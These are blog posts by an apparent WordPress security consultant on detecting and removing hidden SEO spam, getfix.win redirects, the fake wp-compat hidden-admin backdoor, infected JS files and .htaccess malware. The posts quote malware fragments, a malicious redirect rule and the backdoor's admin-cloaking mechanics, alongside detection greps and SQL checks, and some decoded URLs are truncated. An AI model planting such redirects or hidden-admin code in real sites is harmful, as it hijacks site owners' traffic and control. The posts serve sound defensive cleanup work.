    Open your homepage, right-click → View Page Source (not “Inspect” — the rendered DOM can hide things), and Ctrl+F for these strings:

    • position:absolute
    • left:-9 (covers -9999px, -989999999999px, etc.)
    • text-indent:-9999
    • visibility:hidden
    • display:none followed by <a> tags
    • font-size:0
    • color:white or color:#fff next to anchor tags

    Any of these next to a block of anchor tags is the smoking gun.

    3. Search Console & security headers

    In Search Console, check Security Issues and Manual Actions. Also pull up PerformanceSearch Results, set the date range to the last 28 days, and sort by Clicks. If you see queries you’ve never targeted (especially gambling-related), the malware has been there long enough to attract impressions.

    For free third-party verification, run Sucuri SiteCheck — it’ll flag the off-screen div pattern and any blacklist hits.

    Sucuri SiteCheck flagging hidden SEO spam links


    How to remove the remote-fetch backdoor (step by step)

    Order matters here. Don’t skip steps — especially the credential rotation. I’ve cleaned a lot of sites where the owner removed the visible code, didn’t change passwords, and got reinfected within 24 hours through the same compromised hosting account.

    Step 1 — Full backup first

    Even on an infected site, take a fresh files-and-database backup before touching anything. If you break something during cleanup you’ll want a restore point. Use UpdraftPlus or All-in-One WP Migration; download the backup off-server.

    Step 2 — Enable maintenance mode

    You don’t want visitors hitting the spam during cleanup. Drop a .maintenance file in the WordPress root or use a maintenance plugin briefly.

    Step 3 — Find and delete the fetcher

    Via SSH or your host’s file manager:

    cd wp-content/themes/[your-active-theme]
    grep -rn "file_get_contents" .
    grep -rn "curl_exec" .
    grep -rn "stream_context_create" .
    grep -rn "fsockopen" .

    Open every match. A legitimate theme almost never makes outbound HTTP requests from footer.php, header.php, or functions.php. If you see those functions in those files, that’s your fetcher. Delete the entire snippet.

    Then check these specific files in order of frequency:

    1. footer.php — my #1 finding (this case)
    2. header.php
    3. functions.php — look for add_action('wp_footer', ...) or add_action('wp_head', ...) hooked to suspicious functions
    4. index.php in theme root
    5. wp-blog-header.php — covered in my wp-blog-header.php regenerate malware case study
    6. Any .php file in wp-content/uploads/ — should never exist

    Step 4 — Hunt the secondary backdoor

    Here’s the part most DIY cleanups miss: the fetcher is rarely the only thing the attacker left behind. Whoever uploaded that snippet had write access to your filesystem — meaning they almost certainly planted a re-entry backdoor too.

    Look for:

    • Recently modified files in the last 30 days: find . -type f -name "*.php" -mtime -30
    • Files with names mimicking core: wp-cache.php, wp-tmp.php, class-wp-config.php (any wp-* file in the wrong directory)
    • PHP files in wp-content/uploads, wp-content/upgrade, or anywhere outside themes/plugins
    • Suspicious functions.php hooks calling eval, assert, create_function, preg_replace with the /e modifier

    If this part feels overwhelming, it’s because backdoors are designed to look benign. My deep-dive on this is in how I found a hidden backdoor in a client’s WordPress site.

    Step 5 — Audit the database

    Even though the spam in this case was rendered from a remote source, attackers often leave a parallel injection in the DB so they have two paths in. Run these queries via phpMyAdmin or WP-CLI:

    SELECT * FROM wp_options WHERE option_value LIKE '%position:absolute%';
    SELECT * FROM wp_options WHERE option_value LIKE '%file_get_contents%';
    SELECT * FROM wp_posts WHERE post_content LIKE '%left:-9%';
    SELECT * FROM wp_users WHERE user_registered > '2024-01-01';

    Any unfamiliar admin users get deleted. Any rows containing off-screen CSS get cleaned manually.

    Step 6 — Update everything, rotate everything

    • WordPress core, all plugins, all themes
    • Delete unused/inactive plugins and themes (every inactive plugin is still attack surface)
    • Replace any nulled plugins with legitimate copies — nulled software is the entry point in roughly 60% of the cases I see (why nulled plugins are dangerous)
    • Rotate: WordPress admin passwords, hosting cPanel password, FTP/SFTP passwords, database password, API keys, and the WordPress salts in wp-config.php
    • Force-logout all sessions (Users → All Users → Log Out Everywhere Else for each admin)
    • Enable 2FA on every admin account

    Step 7 — Clean the search index

    Even after the malware is gone, Google will keep showing the spam pages until it re-crawls. Speed that up:

    • In Search Console, submit a fresh sitemap.
    • Use the URL Inspection Tool to request reindexing of your most important pages.
    • For spam URLs that point to pages that don’t exist on your site, use the Removals tool to temporarily hide them.
    • If you have a manual action, request a review and explain in 2–3 sentences exactly what you removed.

    For large-scale cleanup of indexed spam pages, see my case study on removing 50,000 spam URLs from Google after a keyword hack.


    Hardening (so this doesn’t come back)

    The single most-asked question after a cleanup is “why did this happen?” Honest answer from 4,500+ cleanups: it’s almost always one of four things — outdated software, nulled plugins, weak admin passwords, or a compromised shared-hosting neighbor. Fixing those four covers most reinfection cases.

    Block PHP execution in uploads. Add this to wp-content/uploads/.htaccess:

    <Files *.php>
        deny from all
    </Files>

    Disable file editing from wp-admin. Even if an attacker gets a low-level admin login, they can’t edit theme files in the dashboard:

    // wp-config.php
    define('DISALLOW_FILE_EDIT', true);
    define('DISALLOW_FILE_MODS', true);

    Force HTTPS-only admin and 2FA on all admin accounts. Wordfence, MiniOrange, or Solid Security all do this in two clicks.

    File integrity monitoring. Wordfence sends you an email any time a core or theme file changes. With remote-fetch malware, this is the fastest detection method — the moment footer.php changes outside of an update, you get a warning.

    Weekly five-minute audit. Every Monday, run site:yourdomain.com slot, site:yourdomain.com viagra, and site:yourdomain.com 賭場 in Google. If they return zero results, you’re clean. This is the cheapest early-warning system that exists. More on long-term defense in why WordPress malware keeps coming back.


    The infrastructure behind casino spam (brief threat intel)

    The C2 domain in this incident (nawalaku[.]my[.]id) is part of a larger Indonesian gambling-affiliate spam network. According to multiple Indonesian government and security sources, this network has compromised hundreds of legitimate .go.id (government), .ac.id (academic), and .mil.id (military) domains in Indonesia, plus thousands of small WordPress sites globally that act as either content hosts or remote-fetch nodes. Indonesian authorities reported handling 683 such compromised institutional domains by late 2023, with the count rising into the millions of indexed spam pages by 2024.

    What this means for you: if your remote-fetch URL points to a .my.id, .go.id, .ac.id, .id, or generic-looking Indonesian domain, you’re looking at the same family. The fix above works for all variants — only the C2 URL changes.


    FAQs

    Is this the same as the pharma hack?
    No. The pharma hack typically uses cloaking (showing different content to Googlebot vs. real users) and lives in wp_options or modified plugin files. Casino/slot spam in 2025 uses remote-fetch delivery from footer.php and shows the same off-screen content to everyone — bots and humans alike, with humans just not seeing it visually.

    I deleted the spam links in the rendered HTML, but they came back. Why?
    Because you deleted the output, not the source. The fetcher inside footer.php regenerates the spam list on every page load. You have to find and delete the PHP snippet, not the HTML it prints.

    Will my Google rankings recover?
    Usually, yes — but not instantly. Once the malware is gone and you’ve requested reindexing, expect 2–6 weeks for Google to drop the spam pages and partially restore your rankings. Sites that had a manual action take longer because a human reviewer has to approve the reconsideration request. I documented one such recovery in recovering from SEO spam: 242,000 spam pages cleared.

    Can a free Wordfence scan find this?
    Sometimes. Wordfence’s signature database catches the most common remote-fetch patterns, but a custom variant with an unfamiliar C2 URL can slip through. The view-source check (Step 2 above) is more reliable than any single scanner.

    Do I have to switch hosts?
    Not necessarily. But if your hosting account is on shared hosting and you’ve been hacked twice on the same plan, the entry point may be a neighbor on the same server, not your site. In that case, moving to a hardened managed-WordPress host (SiteGround, Kinsta, WP Engine) is the single biggest reinfection-prevention step you can take. My breakdown is in my SiteGround review after 4,500 cleanups.

    What if I find the same fetcher in functions.php, not footer.php?
    Same removal process — just be more careful. functions.php often legitimately contains hooks and filters, so don’t bulk-delete the file. Open it, find the snippet that calls file_get_contents or curl_exec to a non-WordPress domain, and delete only that block.


    Post-cleanup checklist

    Once the fetcher is removed and credentials rotated, walk through my post-cleanup checklist from real cleanups — it covers the things people typically forget (transients, wp-cron, abandoned hosting accounts, leaked API keys) that cause the same site to get reinfected three weeks later.


    Conclusion

    Hidden links malware in 2025–2026 isn’t the same problem it was three years ago. The hard-coded link blocks that older guides describe are now the minority of cases. What I’m cleaning today is overwhelmingly the remote-fetch backdoor family — small, signature-light PHP snippets in footer.php that pull casino, slot, and gambling spam from external C2 servers on every page load.

    The cleanup is straightforward once you know what you’re looking for: find the fetcher, kill it, hunt the secondary backdoor, rotate every credential, harden the entry points, and request reindexing. The hard part is being thorough enough that the site stays clean — and that’s where most DIY cleanups fall short.

    Need it cleaned today? I’ve removed this exact malware family from hundreds of sites. WordPress malware removal — same-day turnaround, fixed price, with a 30-day reinfection guarantee. If you’re already on a Google blacklist, see my Google blacklist removal service. Or just hire me directly and we’ll get on a call.

  • Website Redirecting to getfix[.]win: How to Detect, Remove, and Prevent This Malware

    Website Redirecting to getfix[.]win: How to Detect, Remove, and Prevent This Malware

    Quick Answer: What is the Getfix.win Hack?

    The getfix.win/jsrepo malware is a JavaScript injection that redirects your visitors to spam sites. It hides in your theme’s functions.php file using “Hex Encoding” to look like random numbers.

    How to Remove It:

    1. Locate: Open functions.php and look for a line starting with $url = "\x68\x74...".
    2. Delete: Remove that specific line of code.
    3. Scan: Run a Wordfence scan to find any other hidden backdoors.
    4. Update: Update all plugins immediately, as this hack usually enters via outdated software.

    If your website keeps redirecting to hxxps:, it has been hit by a specific type of WordPress malware. This hack is currently targeting thousands of sites, messing up SEO, and scaring away visitors.

    I recently worked on a client’s site and found this exact malware hiding in their theme’s functions.php file. In this guide, I will show you exactly what this code looks like, how to decode it, and how to clean it up permanently.


    What Is the Getfix.win Redirect Malware?

    The getfix.win/jsrepo redirect hack sneaks code into your WordPress files. It makes visitors’ browsers fetch a malicious script from getfix.win, which then redirects them to junk sites, gambling ads, or tech support scams.

    The Sneaky Part: This malware often targets visitors, not admins. If you are logged in as an Administrator, you might not see the redirect at all. This tricks you into thinking your site is fine while your customers are being sent to spam sites.


    Breaking Down the Malicious Code (Developer Analysis)

    The malware uses clever tricks to hide itself. I decoded the exact script I found on my client’s site so you know what to look for.

    1. The PHP Injection (functions.php)

    In the functions.php file (see screenshot below), the hacker injects a line of code that looks like this:

    $url = "" . time() . '_' . rand(1000, 9999);

    Obfuscated PHP code injected into WordPress functions.php file causing getfix.win redirect

    This is called Hex Encoding. The hacker converts text into hexadecimal numbers (e.g., \x68 = h) so security scanners don’t see the word “getfix.win”.

    Decoded, that line actually says:

    $url = "https:?rnd=[Time]_[RandomNumber]";

    Why the random numbers?
    The code adds ?rnd=1730700000_1234 to the end of the URL. This trick forces the browser to download a fresh copy of the virus every time, bypassing any caching plugins or firewalls you might have.

    2. The JavaScript Injection

    Once the PHP code runs, it injects a JavaScript snippet into your site’s header:

    Malicious JavaScript injection code found in WordPress header source

    <script>
    ;!function t(){var e="https:?rnd="+Math.random()+"&ts="+Date.now();
    // ... code that fetches the virus ...
    </script>

    This script connects to the hacker’s server and downloads the actual “Payload”—the code that redirects your users.


    How to Remove the Malware (Step-by-Step)

    Removing this specific infection is straightforward if you follow these steps carefully.

    Step 1: Check your functions.php file

    1. Log into your hosting via FTP or File Manager.
    2. Navigate to wp-content/themes/your-active-theme/.
    3. Open the functions.php file.
    4. Look for the code starting with $url = "\x68... or similar hex characters.
    5. Delete that entire code block.

    Note: Sometimes this code is also hidden in header.php or footer.php. Check those too.

    Step 2: Run a Deep Scan

    Deleting the line stops the redirect, but you need to find the “Backdoor” the hacker used to get in. Install Wordfence or MalCare and run a full scan to find hidden files.

    Step 3: Update Everything

    This specific malware usually spreads through outdated plugins or “nulled” (pirated) themes. Update all your plugins immediately. If you are using a nulled theme, delete it—it is the source of the infection.


    Prevention: How to Stop It From Coming Back

    Once you are clean, lock the door:

    • Change Passwords: Change your WP Admin, FTP, and Database passwords immediately.
    • Disable File Editing: Add define('DISALLOW_FILE_EDIT', true); to your wp-config.php file. This stops hackers from editing your functions.php file from the dashboard.
    • Install a Firewall: Use the free version of Wordfence or Cloudflare to block bad bots.

    Need Help?

    If you are uncomfortable editing PHP files or if the redirect keeps coming back after you delete it, you might have a deeper infection (like a hidden database backdoor).

    I offer a professional WordPress Malware Removal Service. I will manually clean your files, remove the backdoors, and secure your site against future attacks.

    👉 Click here to get your site fixed today.

  • WP Compatibility Patch (wp-compat.php): Find and Remove the adminbackup Backdoor

    WP Compatibility Patch (wp-compat.php): Find and Remove the adminbackup Backdoor

    Quick answer: “WP Compatibility Patch” (file path wp-content/plugins/wp-compat/wp-compat.php) is not a real plugin. It is a WordPress backdoor that secretly creates a hidden administrator named adminbackup (adminbackup@wordpress.org) and hides it from your Users screen. To remove it you must delete the plugin folder and the _pre_user_id entry in wp_options, then delete the hidden admin user. Deleting the plugin folder alone lets it regenerate.

    If you found a plugin called WP Compatibility Patch in your dashboard, or a folder named wp-compat in your files, your WordPress site has been compromised. The plugin claims to fix compatibility problems between WordPress and PHP. It does nothing of the sort. Its only job is to keep a hidden administrator account alive so an attacker can return whenever they want.

    This is not a theoretical risk. The fake plugin was publicly documented by security researchers in July 2025, and I have removed this exact backdoor from client sites during cleanups. Below is everything you need to identify it, confirm the infection, and remove it for good — including the parts that survive a normal cleanup.

    WP Compatibility Patch (wp-compat.php): indicators of compromise

    If any of the following appear on your site, treat it as a confirmed infection. These are the fingerprints of the wp-compat backdoor:

    Indicator Value
    Plugin name (fake) WP Compatibility Patch
    Folder / file /wp-content/plugins/wp-compat/wp-compat.php
    Fake author WP Core Contributors
    Fake description “Fixes minor compatibility issues with the latest WordPress and PHP versions”
    Hidden admin username adminbackup (aliases seen: support_user, wp-core, wp-support)
    Hidden admin email adminbackup@wordpress.org
    Password Randomized per infection (different on every site)
    Database persistence _pre_user_id option in the wp_options table
    Bootstrap function wpc_patch_bootstrap()
    Cloaking hook pre_user_query (removes the hidden ID from the user list)
    Attacker probe cookie WORDPRESS_ADMIN_USER
    Type Fake plugin / persistent administrator backdoor
    Severity Critical — full site compromise
    First publicly documented July 2025

    WP Compatibility Patch fake plugin by WP Core Contributors shown in the WordPress plugins folder

    What is WP Compatibility Patch, and how does it work?

    The wp-compat plugin is malware that disguises itself as official WordPress tooling. It borrows a believable name and the author label “WP Core Contributors” so that a quick glance at your plugins list reads as harmless maintenance code. There is no such plugin in the official WordPress.org repository.

    Once an attacker uploads it, the plugin runs a small routine (the wpc_patch_bootstrap function) on every page load. That single function is what makes this backdoor so persistent and so hard to spot.

    It creates a hidden administrator on every page load

    The plugin checks whether an administrator named adminbackup exists. If it does not, it recreates the account using WordPress’s own wp_insert_user() function, assigns the administrator role, and sets the email to adminbackup@wordpress.org. Because the check fires on every request, deleting the user from your dashboard does nothing — the next visitor to your homepage brings it straight back.

    WordPress code creating a hidden adminbackup administrator account and storing its ID in the database

    It hides the account from you

    After creating the admin, the plugin hooks into pre_user_query — the filter WordPress runs before listing users — and rewrites the SQL so the hidden account is excluded from the results. The effect is unsettling: your Users screen looks normal, the total user count is adjusted down by one to match, and if you somehow locate the account and try to delete it, WordPress returns “Invalid user ID.” The plugin also strips itself from the plugins list, so it can be active while appearing absent.

    It survives password resets and re-scans

    The attacker’s user ID is stored in the database as a _pre_user_id entry in the wp_options table. That single row is the anchor for the whole backdoor. Changing every password, deleting suspicious files, and running a security scan will not dislodge it, because the plugin keeps reading that ID to rebuild and re-hide the account. This is why so many owners “clean” the site and find the backdoor again within hours.

    A built-in way for the attacker to check on it

    The malware also watches for a special request cookie named WORDPRESS_ADMIN_USER. When it sees that cookie, it confirms the backdoor is still alive. This lets the attacker probe hundreds of infected sites quickly without ever logging in.

    The same payload also hides inside functions.php

    The wp-compat plugin is the standalone form of this backdoor, but the identical adminbackup payload is frequently injected directly into a theme’s functions.php instead of shipping as a separate plugin. The behaviour is the same — hidden admin, _pre_user_id, user-list cloaking — but there is no plugin folder to find. If you do not see a wp-compat folder but the symptoms match, read my breakdown of the functions.php variant of the adminbackup hidden-admin hack, which walks through removing the cloaking code first so the account becomes visible.

    How to find wp-compat and the adminbackup admin on your site

    Because the account is cloaked inside the WordPress admin interface, the dashboard is the worst place to look. The cloaking hook only fires in an admin context, so the most reliable checks bypass the interface entirely — via SSH, WP-CLI, or direct database queries.

    1. Check the files

    ls -la wp-content/plugins/ | grep -i compat
    find wp-content/plugins/ -name "wp-compat.php"

    Then grep the whole content directory for the malware’s signatures — this also catches copies hidden outside the obvious folder:

    grep -rl "wpc_patch_bootstrap" wp-content/
    grep -rli "WP Core Contributors" wp-content/
    grep -rl "_pre_user_id" wp-content/
    grep -rl "WORDPRESS_ADMIN_USER" wp-content/

    2. Check the database

    In phpMyAdmin or the MySQL CLI, look for the persistence row and the hidden user (adjust the wp_ prefix to match your install):

    SELECT * FROM wp_options WHERE option_name = '_pre_user_id';
    
    SELECT ID, user_login, user_email, user_registered
    FROM wp_users
    WHERE user_login = 'adminbackup'
       OR user_email LIKE '%@wordpress.org';

    3. Check users the right way (with WP-CLI)

    Because WP-CLI runs outside the admin context, the cloaking hook does not apply — so a CLI listing reveals the account the dashboard hides:

    wp user list --role=administrator --fields=ID,user_login,user_email
    wp option get _pre_user_id

    If wp user list shows an adminbackup account that never appears in wp-admin, you have positively confirmed the infection.

    Related fake-plugin and hidden-admin variants

    The wp-compat backdoor is one product of an organized campaign that ships interchangeable fake plugins. If you found wp-compat, scan for these siblings too, because the same actor often drops more than one:

    • DebugMaster Pro, wp-performance-booster.php, and WP-antymalwary-bot.php — fake maintenance/optimization plugins
    • WP-Security (claims the “WordPress Security Team” as author) and fake “Classic” or LiteSpeed Cacher clones
    • Hidden admin aliases beyond adminbackup: support_user, wp-core, wp-support

    For a fuller reference, see my list of known fake and malicious WordPress plugins and the in-depth technical review of this hidden-admin backdoor.

    How to remove the WP Compatibility Patch backdoor

    Order matters here. Remove the database anchor and the user first, then the files — otherwise the plugin recreates the account between steps.

    1. Take a forensic backup of files and database first, so you can investigate the entry point later (not to restore the infection).
    2. Delete the persistence row: DELETE FROM wp_options WHERE option_name = '_pre_user_id'; (or wp option delete _pre_user_id).
    3. Delete the hidden admin by ID via WP-CLI (wp user delete <ID>) or by removing its rows from wp_users and wp_usermeta.
    4. Delete the plugin folder /wp-content/plugins/wp-compat/ entirely, plus any sibling fake plugins you found.
    5. Find how it got in. Inspect wp-config.php, the mu-plugins folder, /uploads/, theme functions.php, and recently modified files. A standalone fake plugin almost always means a dropper or a compromised credential exists somewhere else.
    6. Rotate every credential: all admin users, database, FTP/SFTP, hosting panel, and the secret keys/salts in wp-config.php.

    If you only delete the folder and skip the database row, the backdoor comes back — this is the single most common reason a cleanup fails. I explain the mechanics of that in why WordPress malware keeps coming back. For the complete, step-by-step infection cleanup, follow my WordPress malware removal process.

    How the plugin got onto your site — and how to keep it out

    The wp-compat plugin cannot install itself; an attacker uploads it after gaining access. In the cleanups I have done, the entry point is almost always one of three things: a weak or reused administrator password, an outdated plugin or theme with a known vulnerability, or stolen FTP/SFTP/hosting credentials. Close those doors and this backdoor has nowhere to come from. At minimum, enforce strong unique passwords with two-factor authentication, keep everything updated, and remove plugins and themes you no longer use. My guide to securing your WordPress login covers the highest-impact hardening steps.

    When to bring in help

    This backdoor is recoverable on your own if you are comfortable with SSH and SQL. But if the hidden admin keeps returning, if you found multiple fake plugins, or if the site is also showing spam or redirects, that usually means a deeper dropper is still active. I have cleaned more than 4,500 hacked WordPress sites, including persistent, self-regenerating backdoors like this one — see, for example, this case study on a regenerating malware infection. If you would rather have it handled end to end, you can hire me to remove it.

    Frequently asked questions

    Is “WP Compatibility Patch” a real WordPress plugin?

    No. It does not exist in the official WordPress.org plugin repository, and its author label “WP Core Contributors” is fake. It is malware that creates a hidden administrator account and gives an attacker a persistent backdoor into your site.

    What is wp-compat.php?

    It is the main file of the fake WP Compatibility Patch plugin, found at /wp-content/plugins/wp-compat/wp-compat.php. It creates and conceals an “adminbackup” administrator and stores that account’s ID in the _pre_user_id option so the backdoor survives normal cleanups.

    Why does the adminbackup admin user keep coming back after I delete it?

    Because the plugin recreates it on every page load and tracks it through the _pre_user_id row in wp_options. You have to remove the plugin files and that database row together, delete the user, then find the entry point. Deleting only one piece guarantees it returns.

    Is adminbackup@wordpress.org an official WordPress email address?

    No. WordPress.org never creates user accounts on your website. The address is hard-coded by the malware purely to look legitimate. Any administrator using that email is a backdoor and should be removed immediately.

    Will Wordfence or Sucuri detect WP Compatibility Patch?

    A scan may flag the plugin files, but the hidden user and the _pre_user_id row can survive a basic cleanup because the malware cloaks them inside the dashboard. Always verify removal through WP-CLI or direct SQL, not just by looking at your Users screen.


    Last updated: May 31, 2026 by MD Pabel, WordPress Security Specialist — 4,500+ hacked sites cleaned.

  • All JavaScript (.js) Files Infected? A Step-by-Step Virus Removal Guide

    All JavaScript (.js) Files Infected? A Step-by-Step Virus Removal Guide

    Finding your website suddenly redirecting to spammy pages or acting strangely is a horrible feeling. If you’ve dug into your site’s files, you may have been shocked to find that all your JavaScript (.js) files are infected with a large, confusing block of malicious code.

    A very common infection looks something like this, often at the very top of the file:

    ;if(typeof uqvq==="undefined"){function a0M(){var r=['WQhdRSkK','D8keba',...
    // ... a very long block of obfuscated code ...
    ...function G(j,E){var S=P;return j[S(0x219,'j%PW')+S(0x23a,'e@Bi')+'f'](E)!==-(0x19b+-0x116d+0xfd3);}}());};

    This specific malware (which we can identify by the if(typeof uqvq==="undefined") check) is designed to redirect your visitors, steal information, or inject more malware.

    The good news is that because the exact same code is injected into every file, we can use a powerful code editor like Visual Studio Code (VS Code) to perform a “Find and Replace” across your entire website in one go.

    ⚠️ Important Disclaimer: This method cleans the symptom (the malicious code) but not the cause (the security vulnerability). Your site is likely to be reinfected quickly if you don’t take further steps. This is an emergency cleanup, not a permanent fix.

    If you’re not comfortable doing this yourself, or if you want a professional to find the root cause and harden your site, I offer a comprehensive WordPress Malware Removal Service to get your site clean and secure.


    Step-by-Step Guide to Removing the Malware

    Follow these steps precisely to clean your files.

    Step 1: Backup, Replace Core Files & Get a Local Copy to Clean

    Before you make any changes, your first step is to get a complete backup. This is your safety net. After that, we’ll replace the main WordPress files and download your wp-content folder to clean them locally.

    1. ⚠️ Take a Full Backup: Log into your hosting control panel (like cPanel, Plesk, or your host’s custom panel) and use the backup tool to generate a full backup of your entire site (both files and the database). Download this backup file to your computer and keep it somewhere safe. Do not skip this step!
    2. Replace WordPress Core Files: First, log in to your server. Following this guide, replace your wp-admin and wp-includes folders with fresh, clean copies from a new WordPress download. Do not delete your wp-content folder and wp-config.php file.
    3. Connect to Your Site: Use an FTP/SFTP client (like FileZilla) or your hosting panel’s (cPanel) File Manager to access your server’s files.
    4. Download Your Files:
      • For WordPress Sites: Download your entire wp-content directory to a folder on your computer.
      • For Other Sites (Node.js, etc.): If your site isn’t WordPress, it’s best to download the entire website. To speed this up, use your hosting File Manager to compress the whole site into a .zip file, download that single file, and then uncompress it on your computer.

    Step 2: Open Your Website Folder in VS Code

    If you don’t have it, download VS Code for free. This tool will let us edit all the files at once.

    1. Open VS Code.
    2. Go to File > Open Folder…
    3. Select the folder you just downloaded (e.g., the wp-content folder or your full site folder). You’ll see your site’s file structure in the “Explorer” panel on the left.

    Step 3: Find the Exact Malicious Code

    First, we need to get a perfect copy of the malware string.

    1. In the VS Code Explorer, find any infected .js file (e.g., inside wp-content/plugins/.../assets/js/).
    2. Click to open it.
    3. Carefully select the entire block of malicious code. Start from the very first character (often a semicolon ;) right before if(typeof uqvq... and select all the way down to the final }; at the end of the block.
    4. Copy this entire block to your clipboard (Ctrl+C or Cmd+C).

    Step 4: Use “Find and Replace in Files”

    This is the most critical step.

    1. Click the Search icon in the left-hand sidebar (or press Ctrl+Shift+F on Windows/Linux, Cmd+Shift+F on Mac).
    2. This opens the “Search” panel with two boxes: “Find” and “Replace.”
    3. In the “Find” box: Paste the entire malicious code block you just copied. It will be very long and may wrap around multiple lines. That’s fine.
    4. In the “Replace” box: Leave this completely empty. We want to replace the malware with nothing.
    5. Just above the “Replace” box, make sure the file filter is set to include .js files. You can type *.js into the “files to include” box to be extra sure you’re only targeting JavaScript files.
    6. Double-check your “Find” box to ensure you copied the entire string.

    Step 5: Replace All

    1. Click the “Replace All” icon (it looks like a small box with an arrow pointing to another box, located to the right of the “Replace” field).
    2. VS Code will ask you to confirm. Click “Replace”.
    3. VS Code will now go through every single file in your project, find that exact block of malware, and delete it. This may take a few seconds to a minute, depending on the size of your site.


    You’re Not Done! What to Do Immediately After

    You’ve cleaned the files, but the “hacker’s backdoor” is still open. You must do the following, or the malware will return.

      1. Re-upload Your Clean Files: Delete the infected wp-content folder on your server and upload your newly cleaned wp-content folder via FTP/SFTP.
      2. Change ALL Passwords: This is not optional.
        • WordPress Admin (all users)
        • cPanel / Hosting Account
        • FTP/SFTP Accounts
      3. Update Everything: Outdated software is the #1 way hackers get in.
        • Update WordPress Core.
        • Update ALL plugins.
        • Update ALL themes.
      4. Install a Security Plugin:
        • Install a plugin like Wordfence or Sitecheck Sucuri.
        • Run a full, high-sensitivity scan. It will check your core files and look for other backdoors you may have missed.
      5. Remove Unused Plugins/Themes: If you’re not using it, delete it. Every inactive plugin is a potential security risk.
      6. Check User Accounts: In your WordPress dashboard, go to “Users.” Look for any new admin accounts you didn’t create and delete them immediately.

    Overwhelmed? Let a Professional Handle It.

    This DIY guide can save you in an emergency, but a true malware infection runs deep. If the malware returns, or you’re worried you missed a backdoor, it’s best to get professional help.

    I specialize in WordPress Virus Removal and site hardening. I’ll clean your site thoroughly, find the vulnerability that allowed the hacker in, and secure your website to prevent future attacks.

    Click here to learn more about my WordPress Malware Removal Service and get your site cleaned today.

  • .htaccess Malware: How Hackers Hide Redirects and How to Remove Them Fast

    .htaccess Malware: How Hackers Hide Redirects and How to Remove Them Fast

    Deep within your website’s files, there’s a small but incredibly powerful text file called .htaccess. Think of it as the silent gatekeeper for your website. It controls who can enter, where they can go, and what they see. This file is essential for your site’s performance and security, but because it holds so much power, it’s a prime target for hackers.

    When a hacker gets control of your .htaccess file, they can cause serious damage. They can steal your traffic, harm your reputation, or, in some cases, shut your website down completely. Often, website owners don’t even know they’ve been hacked until their site stops working.

    One code snippet you might find scattered across your website’s directories looks like this:

    <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
    Order allow,deny
    Deny from all
    </FilesMatch>
    

    Screenshot of .htaccess FilesMatch code snippet

    Seeing this code can be confusing. Is it a good security measure or is it malware? The answer depends entirely on the context. This guide will explain how hackers turn “good” code into a weapon, how to detect it with the Wordfence High Sensitivity scan, and how to keep your website safe.


    Key Takeaways for Busy Site Owners

    • The .htaccess File is Powerful: It’s a server configuration file that can set security rules for your website.
    • Hackers Love to Abuse It: Attackers modify this file to redirect traffic, inject spam, or completely disable your site.
    • Context is Crucial: Code that looks defensive can be malicious. Hackers often place .htaccess files with rules that block PHP from running, which breaks your entire WordPress site and locks you out.
    • Detection is Tricky: Manually finding hundreds of malicious .htaccess files is nearly impossible. A dedicated security scanner is your best tool.
    • Wordfence is Your Ally: The Wordfence “High Sensitivity” scan is designed to find these hidden threats by comparing your files against clean, official versions.
    • Prevention is Key: Regular scans, strong passwords, and keeping your website updated are the best ways to prevent .htaccess attacks.

    Good Code, Bad Intentions: The Malicious .htaccess Lockdown

    Let’s re-examine the code snippet from the beginning. At first glance, it looks like a smart security rule. It tells the server to block web access to any file ending in .php, .exe, etc. In a very specific context—like inside an /uploads folder—a web developer might add this rule to prevent malicious scripts from being executed.

    However, you’ve likely encountered a far more destructive use of this code.

    When hackers compromise a site, they often use automated scripts to place this exact .htaccess file in every single directory and subdirectory of your website. Because your WordPress site is built on PHP, this action tells the server, “Do not run the code that makes this website function.”

    The result is catastrophic:

    • Your entire website goes down, often showing a blank page or a “500/403 Internal Server Error.”
    • You are locked out of your own WordPress admin dashboard (/wp-admin/).
    • Your visitors cannot access your site.

    This is a “scorched-earth” tactic. The hacker isn’t trying to redirect your traffic for profit; they are trying to cause maximum disruption, either to cover their tracks after stealing data or to simply sabotage your site.

    So, while the code itself isn’t inherently malicious, its placement and duplication across your entire site is a clear sign of a hack.

    Other Common .htaccess Attacks

    1. The Malicious Redirect

    This is the most common hack. The attacker inserts rules that secretly send your visitors—especially those from Google—to spam, scam, or phishing sites.

    Example of malicious redirect code:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} .*google.* [OR]
    RewriteCond %{HTTP_USER_AGENT} .*googlebot.* [OR]
    RewriteRule ^(.*)$ http://malicious-spam-website.com/spam.php [R=301,L]
    

    This code hijacks your SEO traffic, damaging your rankings and user trust.

    2. Content Injection and Spam

    Hackers can use .htaccess to automatically insert spammy links or ads into your pages. This can get your site flagged by Google for hosting spam.

    3. Blocking Legitimate Access

    A hacker might block your IP address from the WordPress admin area while leaving it open for themselves. They may also block the IPs of security companies to prevent scanners from detecting them.


    The Best Defense: Detecting Malware with a Wordfence High Sensitivity Scan

    Because hackers are good at hiding their tracks—especially when they’ve created thousands of malicious files—manually cleaning a site is a nightmare. You need an automated tool that knows what to look for. This is where the Wordfence security plugin is invaluable.

    For threats hidden in core files or spread across hundreds of directories, you need Wordfence’s most powerful tool: the High Sensitivity scan.

    What Makes the “High Sensitivity” Scan So Powerful?

    Think of a standard scan as a security guard patrolling the main hallways. A High Sensitivity scan is like a forensic team that inspects every single room, dusts for fingerprints, and checks under the floorboards. 🕵️

    When you enable High Sensitivity mode, Wordfence performs several deep checks:

    • Core File Integrity Check: It downloads fresh copies of every WordPress core file from WordPress.org and compares them to the files on your server. If your root .htaccess file has been modified, this check will spot it immediately.
    • Plugin & Theme File Check: It does the same integrity check for every plugin and theme from the official WordPress repository.
    • Deep Signature Scanning: It checks every file on your server against a massive database of known malware signatures. This is crucial for detecting known redirect code and other malicious patterns.
    • Finds Files Where They Shouldn’t Be: Most importantly for the “lockdown” attack, the scan will identify suspicious .htaccess files in directories where they don’t belong (like /wp-content/plugins/ or /wp-includes/). WordPress core only has a few .htaccess files in specific locations. Seeing them everywhere else is a massive red flag that Wordfence can detect.

    Step-by-Step: How to Run a High Sensitivity Scan

    Ready to give your site a deep clean? It only takes a few clicks.

    1. Log in to your WordPress dashboard.
    2. In the left-hand menu, go to Wordfence > Scan.
    3. Near the top of the page, click the “Scan Options and Scheduling” button.
    4. You will see a section called “Basic Scan Type Options.” By default, it’s set to “Standard Scan.”
    5. Click on the radio button next to “High Sensitivity.”
    6. Click the “Save Changes” button in the top-right corner.
